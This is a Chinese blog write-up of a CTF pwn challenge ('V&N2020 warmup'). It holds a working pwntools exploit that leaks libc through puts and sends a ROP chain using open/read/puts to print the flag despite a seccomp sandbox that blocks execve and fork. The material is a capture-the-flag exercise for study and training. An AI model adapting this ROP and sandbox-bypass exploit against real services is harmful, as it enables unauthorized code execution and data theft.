zoukankan      html  css  js  c++  java
  • [V&N2020 公开赛]warmup

    利用思路

    沙盒,禁止了execve和fork syscall,所以不能打开子进程,需要在当前进程里读入flag并输出,利用 orw 打印flag

    exp 脚本

    # -*- coding: utf-8 -*
    from pwn import *
    from LibcSearcher import *
    
    
    p = remote('node3.buuoj.cn',29892)
    p.recvuntil("0x")	
    puts_addr=int(p.recv(12),16)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libcbase_addr=puts_addr-libc.symbols['puts']
    	#mov_rdi_rsi_ret=libcbase_addr+libc.search(asm("mov rdi,r13
    ret")).next()
    pop_rdi_ret=libcbase_addr+0x21102
    pop_rsi_ret=libcbase_addr+0x202e8
    pop_rdx_ret=libcbase_addr+0x1b92
    open_addr=libcbase_addr+libc.symbols['open']
    free_hook=libcbase_addr+libc.symbols['__free_hook']
    read_addr=libcbase_addr+libc.symbols['read']
    puts_addr=libcbase_addr+libc.symbols['puts']
    payload=p64(0)+p64(pop_rsi_ret)+p64(free_hook)+p64(pop_rdx_ret)+p64(4)+p64(read_addr)
    payload+=p64(pop_rdi_ret)+p64(free_hook)+p64(pop_rsi_ret)+p64(4)+p64(open_addr)
    payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(free_hook)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
    payload+=p64(pop_rdi_ret)+p64(free_hook)+p64(puts_addr)
    p.sendafter("Input something: ",payload)
    p.sendafter("What's your name?",'a'* 0x78+p64(pop_rdi_ret))
    p.send("flag")
    p.interactive()
    
    

    内容来源

    [V&N2020 公开赛] pwn

  • 相关阅读:
    第一章 zookeeper基础概念
    ntp服务
    nfs与dhcp服务
    samba、ftp和ssh服务
    Linux系统的RAID磁盘阵列
    Linux系统中lvm简介
    Linux系统中的计划任务
    Linux权限管理
    Linux用户及组管理
    简谈OSI七层模型(网络层)
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12468271.html
Copyright © 2011-2022 走看看